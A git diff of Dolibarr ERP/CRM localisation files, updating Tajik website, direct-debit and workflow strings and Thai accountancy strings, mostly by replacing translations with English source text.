-15,9 +16,9 @@ WEBSITE_HTML_HEADER=Илова дар поёни сарлавҳаи HTML (уму WEBSITE_ROBOT=Файли роботӣ (robots.txt) WEBSITE_HTACCESS=Файли вебсайт .htaccess WEBSITE_MANIFEST_JSON=Файли вебсайти manifest.json -WEBSITE_README=Файли README.md WEBSITE_KEYWORDSDesc=Барои ҷудо кардани арзишҳо вергулро истифода баред -EnterHereLicenseInformation=Барои пешниҳоди файли README.md маълумоти мета ё маълумоти литсензияро дар ин ҷо ворид кунед. агар шумо вебсайти худро ҳамчун шаблон паҳн кунед, файл ба бастаи озмоишӣ дохил карда мешавад. +EnterHereReadmeInformation=Enter here a description of the website. If you distribute your website as a template, the file will be included into the temptate package. +EnterHereLicenseInformation=Enter here the LICENSE of the code of the website. If you distribute your website as a template, the file will be included into the temptate package. HtmlHeaderPage=Сарлавҳаи HTML (танҳо ба ин саҳифа хос аст) PageNameAliasHelp=Ном ё тахаллуси саҳифа.
      Ин тахаллус инчунин ҳангоми сохтани вебсайт аз як мизбони виртуалии сервери веб (ба монанди Apacke, Nginx, ...) барои сохтани URL -и SEO истифода мешавад. Барои таҳрири ин тахаллус тугмаи " %s " -ро истифода баред. EditTheWebSiteForACommonHeader=Эзоҳ: Агар шумо хоҳед, ки барои ҳамаи саҳифаҳо сарлавҳаи инфиродӣ муайян кунед, сарлавҳаро дар сатҳи сайт на ба саҳифа/контейнер таҳрир кунед. @@ -42,10 +43,12 @@ ViewPageInNewTab=Дидани саҳифа дар ҷадвали нав SetAsHomePage=Ҳамчун саҳифаи асосӣ танзим кунед RealURL=URL воқеӣ ViewWebsiteInProduction=Дидани вебсайт бо истифода аз URL -и хонагӣ +Virtualhost=Virtual host or domain name +VirtualhostDesc=The name of the Virtual host or domain (For example: www.mywebsite.com, mybigcompany.net, ...) SetHereVirtualHost=Use with Apache/NGinx/...
      Create on your web server (Apache, Nginx, ...) a dedicated Virtual Host with PHP enabled and a Root directory on
      %s ExampleToUseInApacheVirtualHostConfig=Намуна барои истифода дар танзими мизбони виртуалии Apache: YouCanAlsoTestWithPHPS=Use with PHP embedded server
      On develop environment, you may prefer to test the site with the PHP embedded web server (PHP 5.5 required) by running
      php -S 0.0.0.0:8080 -t %s -YouCanAlsoDeployToAnotherWHP= Вебсайти худро бо провайдери дигари хостинги Dolibarr идора кунед
      Агар шумо веб -сервери монанди Apache ё NGinx дар интернет дастрас набошед, шумо метавонед вебсайти худро ба як мисоли дигари Dolibarr, ки аз ҷониби провайдери дигари хостинги Dolibarr пешниҳод шудааст, содир ва ворид кунед. ҳамгироӣ бо модули вебсайт. Шумо метавонед рӯйхати баъзе провайдерҳои хостинги Dolibarr -ро дар пайдо кунед https://saas.dolibarr.org +YouCanAlsoDeployToAnotherWHP=Run your web site with another Dolibarr Hosting provider
      If you don't have a web server like Apache or NGinx available on internet, you can export and import your web site onto another Dolibarr instance provided by another Dolibarr hosting provider that provide full integration with the Website module. You can find a list of some Dolibarr hosting providers on https://saas.dolibarr.org CheckVirtualHostPerms=Check also that the virtual host user (for example www-data) has %s permissions on files into
      %s ReadPerm=Хондан WritePerm=Нависед @@ -60,7 +63,7 @@ YouCanEditHtmlSourceckeditor=Шумо метавонед рамзи сарчаш YouCanEditHtmlSource=
      Шумо метавонед бо истифода аз барчаспҳои <? php? a0012c7d7c00770 Тағирёбандаҳои глобалӣ мавҷуданд: $ conf, $ db, $ mysoc, $ user, $ website, $ websitepage, $ weblangs, $ pagelangs.

      Шумо инчунин метавонед мундариҷаи дигар Саҳифа/Контейнерро бо синтаксиси зерин дохил кунед:
      a0e78439c0_f09_d094c0f4f4d94 ? >


      Шумо метавонед масир ба дигар Page / зарф бо синтаксиси зерин кунад (Эзоҳ: мекунед, натиҷаи ҳама гуна мазмуни пеш аз масир надорад):
      < PHP redirectToContainer ( 'alias_of_container_to_redirect_to'); ? >

      Барои илова кардани пайванди саҳифаи дигар истифода наҳвӣ:
      <a href = "alias_of_page_to_link_to.php" >mylink<a>

      Барои дохил пайванди ба боргирӣ файл нигоҳ дошта, ба њуљљатњои ба феҳристи , истифода document.php wrapper:
      Мисол, барои як файл ба санадњои / ecm (зарурати ба систем ворид шуда бошед), наҳвӣ аст?
      <a href = "/ document.php modulepart = ecm & файли = [relative_dir / ] filename.ext ">
      Барои файл дар ҳуҷҷатҳо/медиа (феҳристи кушод барои дастрасии оммавӣ), синтаксис ин аст:
      a0e7843947d09cz "/document.php?modulepart=medias&file=[relativ_dir/] /document.php?hashp=publicsharekeyoffile">


      барои дохил кардани тасвир захира ба ҳуҷҷатҳои феҳрист истифода viewimage.php wrapper:
      Мисол, ки барои тасвир ба санадњои / medias (кушода директория барои дастрасии ҷамъиятӣ), синтаксис ин аст:
      <img src = "/viewimage.php? modulepart = medias&file a0c7 #YouCanEditHtmlSource2=
      To include a image shared publicaly, use the viewimage.php wrapper:
      Example with a shared key 123456789, syntax is:
      <img src="/viewimage.php?hashp=12345679012...">
      YouCanEditHtmlSource2=Барои тасвире, ки бо истиноди мубодила мубодила карда мешавад (дастрасии кушод бо калиди мубодилаи ҳеши файл), синтаксис ин аст:
      <img src = "/viewimage.php? Hashp = 12345679012z00f01d0f0d0fd09d09d0fd09d0f0f0e9 -YouCanEditHtmlSourceMore=
      Намунаҳои дигари HTML ё коди динамикӣ дар дар ҳуҷҷатҳои вики
      дастрасанд. +YouCanEditHtmlSourceMore=
      More examples of HTML or dynamic code available on the wiki documentation
      . ClonePage=Саҳифа/контейнерро клон кунед CloneSite=Сайти клон SiteAdded=Вебсайт илова карда шуд @@ -137,7 +140,7 @@ PagesRegenerated=%s саҳифа/ҳо/контейнерҳо дубора бар RegenerateWebsiteContent=Файлҳои кэши вебсайтро дубора барқарор кунед AllowedInFrames=Дар Чаҳорчӯба иҷозат дода шудааст DefineListOfAltLanguagesInWebsiteProperties=Рӯйхати ҳамаи забонҳои дастрасро ба хосиятҳои вебсайт муайян кунед. -GenerateSitemaps=Файли харитаи вебсайтро эҷод кунед +GenerateSitemaps=Generate website sitemap.xml file ConfirmGenerateSitemaps=Агар шумо тасдиқ кунед, шумо файли мавҷудаи харитаи сайтро нест мекунед ... ConfirmSitemapsCreation=Насли харитаи сайтро тасдиқ кунед SitemapGenerated=Файли харитаи сайт %s тавлид шудааст @@ -145,3 +148,10 @@ ImportFavicon=Фавикон ErrorFaviconType=Favicon бояд png бошад ErrorFaviconSize=Favicon бояд андозаи 16x16, 32x32 ё 64x64 бошад FaviconTooltip=Тасвиреро бор кунед, ки бояд png бошад (16x16, 32x32 ё 64x64) +NextContainer=Next page/container +PreviousContainer=Previous page/container +WebsiteMustBeDisabled=The website must have the status "%s" +WebpageMustBeDisabled=The web page must have the status "%s" +SetWebsiteOnlineBefore=When website is offline, all pages are offline. Change status of website first. +Booking=Booking +Reservation=Reservation diff --git a/htdocs/langs/tg_TJ/withdrawals.lang b/htdocs/langs/tg_TJ/withdrawals.lang index 99a56d0c634..9ea92893574 100644 --- a/htdocs/langs/tg_TJ/withdrawals.lang +++ b/htdocs/langs/tg_TJ/withdrawals.lang @@ -31,8 +31,9 @@ SupplierInvoiceWaitingWithdraw=Ҳисобнома -фактураи фурӯша InvoiceWaitingWithdraw=Ҳисобнома -фактура интизори гирифтани қарзи мустақим InvoiceWaitingPaymentByBankTransfer=Ҳисобнома -фактура барои интиқоли кредит AmountToWithdraw=Маблағ барои бозпас гирифтан +AmountToTransfer=Amount to transfer NoInvoiceToWithdraw=Ҳеҷ фактураи кушода барои '%s' интизор нест. Барои дархост кардан ба ҷадвали '%s' дар корти фактура гузаред. -NoSupplierInvoiceToWithdraw=Ҳеҷ як фактураи таъминкунанда бо кушодани 'дархостҳои кредитии мустақим' интизор нест. Барои дархост кардан ба ҷадвали '%s' дар корти фактура гузаред. +NoSupplierInvoiceToWithdraw=No supplier invoice with open '%s' is waiting. Go on tab '%s' on invoice card to make a request. ResponsibleUser=Истифодабарандаи масъул WithdrawalsSetup=Танзими пардохти дебети мустақим CreditTransferSetup=Танзими интиқоли қарз @@ -41,6 +42,7 @@ CreditTransferStatistics=Омори интиқоли қарз Rejects=Рад мекунад LastWithdrawalReceipt=Охирин мадохилоти дебетии %s MakeWithdrawRequest=Дархости пардохти қарзи мустақимро пешниҳод кунед +MakeWithdrawRequestStripe=Make a direct debit payment request via Stripe MakeBankTransferOrder=Дархости интиқоли кредит кунед WithdrawRequestsDone=%s дархостҳои пардохти дебетии мустақим сабт карда шуданд BankTransferRequestsDone=%s дархостҳои интиқоли кредит сабт карда шуданд @@ -99,8 +101,11 @@ CreditDate=Кредит дар WithdrawalFileNotCapable=Файли таҳрири хуруҷи кишвари шумо %s -ро эҷод карда натавонист (кишвари шумо дастгирӣ намешавад) ShowWithdraw=Тартиби дебети мустақимро нишон диҳед IfInvoiceNeedOnWithdrawPaymentWontBeClosed=Аммо, агар ҳисобнома дорои ҳадди ақал як супориши пардохти дебетӣ бошад, ки то ҳол коркард нашудааст, он барои пардохт кардани идоракунии пешакии гирифтани маблағ пардохт карда намешавад. -DoStandingOrdersBeforePayments=Ин ҷадвал ба шумо имкон медиҳад, ки супориши пардохти дебетии мустақимро дархост кунед. Пас аз анҷом додан, ба менюи Bank-> Пардохт тавассути дебети мустақим ворид шавед ва фармоишро оид ба дебети мустақим таҳия ва идора кунед. Ҳангоме ки фармоиши дебети мустақим баста мешавад, пардохт дар суратҳисобҳо ба таври худкор сабт карда мешавад ва суратҳисобҳо баста мешаванд, агар бақияи пардохт беэътибор бошад. -DoCreditTransferBeforePayments=Ин ҷадвал ба шумо имкон медиҳад, ки фармоиши интиқоли қарзро дархост кунед. Пас аз анҷом додан, ба менюи Bank-> Пардохт тавассути интиқоли кредит ворид шавед ва фармоишро барои интиқол додан ва идора кунед. Ҳангоме ки фармоиши интиқоли кредит баста мешавад, пардохт дар суратҳисобҳо ба таври худкор сабт карда мешавад ва суратҳисобҳо баста мешаванд, агар бақияи пардохт бекор бошад. +DoStandingOrdersBeforePayments=This tab allows you to request a direct debit payment order. Once done, you can go into menu "Bank->Payment by direct debit" to generate and manage a Direct debit order file. +DoStandingOrdersBeforePayments2=You can also send a request directly to a SEPA payment processor like Stripe, ... +DoStandingOrdersBeforePayments3=When direct debit order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. +DoCreditTransferBeforePayments=This tab allows you to request a credit transfer order. Once done, go into menu "Bank->Payment by credit transfer" to generate and manage a Credit transfer order file. +DoCreditTransferBeforePayments3=When credit transfer order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. WithdrawalFile=Файли фармоиши дебетӣ CreditTransferFile=Файли интиқоли қарз SetToStatusSent=Ба ҳолати "Файли фиристодашуда" таъин кунед @@ -117,7 +122,7 @@ WithdrawRequestErrorNilAmount=Эҷоди дархости дебети муст SepaMandate=Мандати қарзи мустақими SEPA SepaMandateShort=Мандати SEPA PleaseReturnMandate=Лутфан ин шакли мандатро тавассути почтаи электронӣ ба %s ё тавассути почта ба -SEPALegalText=By signing this mandate form, you authorize (A) %s to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with the instructions from %s. As part of your rights, you are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. Your rights regarding the above mandate are explained in a statement that you can obtain from your bank. +SEPALegalText=By signing this mandate form, you authorize (A) %s and its payment service provider to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with the instructions from %s. As part of your rights, you are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. Your rights regarding the above mandate are explained in a statement that you can obtain from your bank. CreditorIdentifier=Муайянкунандаи кредитор CreditorName=Номи кредитор SEPAFillForm=(B) Лутфан ҳамаи майдонҳои ишорашударо пур кунед * @@ -136,6 +141,7 @@ SEPAFRST=SEPA FRST ExecutionDate=Санаи иҷро CreateForSepa=Файли дебетии мустақим эҷод кунед ICS=Муайянкунандаи кредитор - ICS +IDS=Debitor Identifier END_TO_END=Теги "EndToEndId" SEPA XML - Идентификатори беҳамтое, ки барои як транзаксия таъин карда мешавад USTRD=Теги "сохторнашуда" SEPA XML ADDDAYS=Ба санаи иҷро рӯзҳо илова кунед @@ -154,3 +160,4 @@ ErrorICSmissing=Набудани ICS дар суратҳисоби бонкӣ %s TotalAmountOfdirectDebitOrderDiffersFromSumOfLines=Маблағи умумии фармоиши дебети мустақим аз маблағи сатрҳо фарқ мекунад WarningSomeDirectDebitOrdersAlreadyExists=Warning: There is already some pending Direct Debit orders (%s) requested for an amount of %s WarningSomeCreditTransferAlreadyExists=Warning: There is already some pending Credit Transfer (%s) requested for an amount of %s +UsedFor=Used for %s diff --git a/htdocs/langs/tg_TJ/workflow.lang b/htdocs/langs/tg_TJ/workflow.lang index 7a34cb478bd..923592fa2bb 100644 --- a/htdocs/langs/tg_TJ/workflow.lang +++ b/htdocs/langs/tg_TJ/workflow.lang @@ -7,6 +7,7 @@ descWORKFLOW_PROPAL_AUTOCREATE_ORDER=Пас аз имзои пешниҳоди descWORKFLOW_PROPAL_AUTOCREATE_INVOICE=Пас аз имзои пешниҳоди тиҷоратӣ ба таври худкор ҳисобнома -фактураи муштарӣ эҷод кунед (фактураи нав ҳамон миқдоре, ки пешниҳод дорад) descWORKFLOW_CONTRACT_AUTOCREATE_INVOICE=Пас аз тасдиқи шартнома ба таври худкор ҳисобнома -фактураи муштарӣ эҷод кунед descWORKFLOW_ORDER_AUTOCREATE_INVOICE=Ба таври худкор ҳисобнома -фактураи муштариро пас аз бастани фармоиши фурӯш эҷод кунед (фактураи нав ҳамон миқдорро бо фармоиш хоҳад дошт) +descWORKFLOW_TICKET_CREATE_INTERVENTION=On ticket creation, automatically create an intervention. # Autoclassify customer proposal or order descWORKFLOW_ORDER_CLASSIFY_BILLED_PROPAL=Пешниҳоди манбаи алоқамандро ҳамчун ҳисобшуда тасниф кунед, вақте ки фармоиши фурӯш ба суратҳисоб таъин карда мешавад (ва агар маблағи фармоиш бо маблағи умумии пешниҳоди пайванди имзошуда якхела бошад) descWORKFLOW_INVOICE_CLASSIFY_BILLED_PROPAL=Пешниҳоди манбаи пайвандшударо ҳамчун тасдиқи ҳисобнома -фактураи муштарӣ тасниф кунед (ва агар маблағи фактура бо маблағи умумии пешниҳоди пайванди имзошуда якхела бошад) @@ -14,13 +15,22 @@ descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_ORDER=Фармоиши фурӯши descWORKFLOW_INVOICE_CLASSIFY_BILLED_ORDER=Ҳангоми пардохти ҳисобнома -фактураи муштарӣ фармоиши фурӯши сарчашмаҳои пайвандшударо ҳамчун ҳисобшуда гурӯҳбандӣ кунед (ва агар маблағи фактура бо маблағи умумии фармоиши алоқаманд якхела бошад) descWORKFLOW_ORDER_CLASSIFY_SHIPPED_SHIPPING=Фармоиши фурӯши сарчашмаҳои пайвандшударо ҳамчун тасдиқи бор тасниф кунед (ва агар миқдори фиристодаи ҳамаи интиқолҳо бо фармони навсозӣ якхела бошад) descWORKFLOW_ORDER_CLASSIFY_SHIPPED_SHIPPING_CLOSED=Фармоиши фурӯши сарчашмаҳои пайвандшударо ҳамчун бастаи интиқол тасниф кунед (ва агар миқдори фиристодаи ҳамаи интиқолҳо бо фармони навсозӣ якхела бошад) -# Autoclassify purchase order +# Autoclassify purchase proposal descWORKFLOW_ORDER_CLASSIFY_BILLED_SUPPLIER_PROPOSAL=Пешниҳоди фурӯшандаи манбаи алоқамандро ҳангоми тасдиқи ҳисобнома -фактураи фурӯшанда тасниф кунед (ва агар маблағи фактура бо маблағи умумии пешниҳоди алоқаманд бошад) +# Autoclassify purchase order descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=Фармоиши хариди сарчашмаи пайвандшударо ҳамчун тасдиқи ҳисобнома -фактураи фурӯшанда тасниф кунед (ва агар маблағи фактура бо маблағи умумии фармоиши алоқаманд бошад) -descWORKFLOW_BILL_ON_RECEPTION=Ҳангоми тасдиқи фармоиши иртиботдиҳанда қабулҳоро ба "ҳисобшуда" тасниф кунед +descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION=Classify linked source purchase order as received when a reception is validated (and if the quantity received by all receptions is the same as in the purchase order to update) +descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION_CLOSED=Classify linked source purchase order as received when a reception is closed (and if the quantity received by all rceptions is the same as in the purchase order to update) +# Autoclassify purchase invoice +descWORKFLOW_EXPEDITION_CLASSIFY_CLOSED_INVOICE=Classify receptions to "billed" when a linked purchase invoice is validated (and if the amount of the invoice is the same as the total amount of the linked receptions) +# Automatically link ticket to contract +descWORKFLOW_TICKET_LINK_CONTRACT=When creating a ticket, link available contracts of matching thirdparty +descWORKFLOW_TICKET_USE_PARENT_COMPANY_CONTRACTS=When linking contracts, search among those of parents companies # Autoclose intervention descWORKFLOW_TICKET_CLOSE_INTERVENTION=Ҳангоми пӯшидани чипта ҳама дахолатҳои марбут ба чиптаро пӯшед AutomaticCreation=Эҷоди автоматӣ AutomaticClassification=Таснифоти автоматӣ # Autoclassify shipment -descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Ҳангоми тасдиқи фактураи муштарӣ интиқоли сарчашмаи пайвандшударо ҳамчун пӯшида тасниф кунед +descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Classify linked source shipment as closed when customer invoice is validated (and if the amount of the invoice is the same as the total amount of the linked shipments) +AutomaticClosing=Automatic closing +AutomaticLinking=Automatic linking diff --git a/htdocs/langs/th_TH/accountancy.lang b/htdocs/langs/th_TH/accountancy.lang index dae9c62f384..c50c86b443d 100644 --- a/htdocs/langs/th_TH/accountancy.lang +++ b/htdocs/langs/th_TH/accountancy.lang @@ -48,8 +48,9 @@ CountriesNotInEEC=Countries not in EEC CountriesInEECExceptMe=Countries in EEC except %s CountriesExceptMe=All countries except %s AccountantFiles=Export source documents -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=To export your journals, use the menu entry %s - %s. +ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. VueByAccountAccounting=View by accounting account VueBySubAccountAccounting=View by accounting subaccount @@ -58,28 +59,29 @@ MainAccountForSuppliersNotDefined=Main accounting account for vendors not define MainAccountForUsersNotDefined=Main accounting account for users not defined in setup MainAccountForVatPaymentNotDefined=Main accounting account for VAT payment not defined in setup MainAccountForSubscriptionPaymentNotDefined=Main accounting account for subscription payment not defined in setup +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=Accounting area AccountancyAreaDescIntro=Usage of the accountancy module is done in several step: AccountancyAreaDescActionOnce=The following actions are usually executed one time only, or once per year... -AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you the correct default accounting account when making the journalization (writing record in Journals and General ledger) +AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you automaticaly the correct default accounting account when transferring data in accounting AccountancyAreaDescActionFreq=The following actions are usually executed every month, week or day for very large companies... -AccountancyAreaDescJournalSetup=STEP %s: Create or check content of your journal list from menu %s +AccountancyAreaDescJournalSetup=STEP %s: Check content of your journal list from menu %s AccountancyAreaDescChartModel=STEP %s: Check that a model of chart of account exists or create one from menu %s AccountancyAreaDescChart=STEP %s: Select and|or complete your chart of account from menu %s AccountancyAreaDescVat=STEP %s: Define accounting accounts for each VAT Rates. For this, use the menu entry %s. AccountancyAreaDescDefault=STEP %s: Define default accounting accounts. For this, use the menu entry %s. -AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of expense report. For this, use the menu entry %s. +AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of Expense report. For this, use the menu entry %s. AccountancyAreaDescSal=STEP %s: Define default accounting accounts for payment of salaries. For this, use the menu entry %s. -AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for special expenses (miscellaneous taxes). For this, use the menu entry %s. +AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for Taxes (special expenses). For this, use the menu entry %s. AccountancyAreaDescDonation=STEP %s: Define default accounting accounts for donation. For this, use the menu entry %s. AccountancyAreaDescSubscription=STEP %s: Define default accounting accounts for member subscription. For this, use the menu entry %s. AccountancyAreaDescMisc=STEP %s: Define mandatory default account and default accounting accounts for miscellaneous transactions. For this, use the menu entry %s. AccountancyAreaDescLoan=STEP %s: Define default accounting accounts for loans. For this, use the menu entry %s. AccountancyAreaDescBank=STEP %s: Define accounting accounts and journal code for each bank and financial accounts. For this, use the menu entry %s. -AccountancyAreaDescProd=STEP %s: Define accounting accounts on your products/services. For this, use the menu entry %s. +AccountancyAreaDescProd=STEP %s: Define accounting accounts on your Products/Services. For this, use the menu entry %s. AccountancyAreaDescBind=STEP %s: Check the binding between existing %s lines and accounting account is done, so application will be able to journalize transactions in Ledger in one click. Complete missing bindings. For this, use the menu entry %s. AccountancyAreaDescWriteRecords=STEP %s: Write transactions into the Ledger. For this, go into menu %s, and click into button %s. @@ -112,7 +114,7 @@ MenuAccountancyClosure=Closure MenuAccountancyValidationMovements=Validate movements ProductsBinding=Products accounts TransferInAccounting=Transfer in accounting -RegistrationInAccounting=Registration in accounting +RegistrationInAccounting=Recording in accounting Binding=Binding to accounts CustomersVentilation=Customer invoice binding SuppliersVentilation=Vendor invoice binding @@ -120,7 +122,7 @@ ExpenseReportsVentilation=Expense report binding CreateMvts=Create new transaction UpdateMvts=Modification of a transaction ValidTransaction=Validate transaction -WriteBookKeeping=Register transactions in accounting +WriteBookKeeping=Record transactions in accounting Bookkeeping=Ledger BookkeepingSubAccount=Subledger AccountBalance=Account balance @@ -161,41 +163,46 @@ BANK_DISABLE_DIRECT_INPUT=Disable direct recording of transaction in bank accoun ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Enable draft export on journal ACCOUNTANCY_COMBO_FOR_AUX=Enable combo list for subsidiary account (may be slow if you have a lot of third parties, break ability to search on a part of value) ACCOUNTING_DATE_START_BINDING=Define a date to start binding & transfer in accountancy. Below this date, the transactions will not be transferred to accounting. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, select period show by default +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=ขายวารสาร -ACCOUNTING_PURCHASE_JOURNAL=วารสารการสั่งซื้อ -ACCOUNTING_MISCELLANEOUS_JOURNAL=วารสารเบ็ดเตล็ด +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=รายงานค่าใช้จ่ายวารสาร -ACCOUNTING_SOCIAL_JOURNAL=วารสารสังคม +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=Has new Journal +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=วารสารสังคม ACCOUNTING_RESULT_PROFIT=Result accounting account (Profit) ACCOUNTING_RESULT_LOSS=Result accounting account (Loss) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Journal of closure -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Accounting account of transitional bank transfer +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Transitional bank transfer account -ACCOUNTING_ACCOUNT_SUSPENSE=Accounting account of wait -DONATION_ACCOUNTINGACCOUNT=Accounting account to register donations -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Accounting account to register subscriptions +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Accounting account by default to register customer deposit +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit +UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Accounting account by default for the bought products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Accounting account by default for the bought products in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought products and imported out of EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Accounting account by default for the sold products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Accounting account by default for the products sold in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Accounting account by default for the products sold and exported out of EEC (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Accounting account by default for the bought services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Accounting account by default for the bought services in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought services and imported out of EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Accounting account by default for the sold services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Accounting account by default for the services sold in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Accounting account by default for the services sold and exported out of EEC (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=ประเภทของเอกสาร Docdate=วันที่ @@ -210,7 +217,7 @@ Codejournal=วารสาร JournalLabel=Journal label NumPiece=Piece number TransactionNumShort=Num. transaction -AccountingCategory=Custom group +AccountingCategory=Custom group of accounts GroupByAccountAccounting=Group by general ledger account GroupBySubAccountAccounting=Group by subledger account AccountingAccountGroupsDesc=You can define here some groups of accounting account. They will be used for personalized accounting reports. @@ -219,12 +226,12 @@ ByPredefinedAccountGroups=By predefined groups ByPersonalizedAccountGroups=By personalized groups ByYear=โดยปี NotMatch=Not Set -DeleteMvt=Delete some operation lines from accounting +DeleteMvt=Delete some lines from accounting DelMonth=Month to delete DelYear=Year to delete DelJournal=Journal to delete -ConfirmDeleteMvt=This will delete all operation lines of the accounting for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. -ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all operation lines related to the same transaction will be deleted) +ConfirmDeleteMvt=This will delete all lines in accountancy for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. +ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) FinanceJournal=Finance journal ExpenseReportsJournal=Expense reports journal DescFinanceJournal=Finance journal including all the types of payments by bank account @@ -264,13 +271,13 @@ Reconcilable=Reconcilable TotalVente=Total turnover before tax TotalMarge=อัตรากำไรขั้นต้นรวมยอดขาย 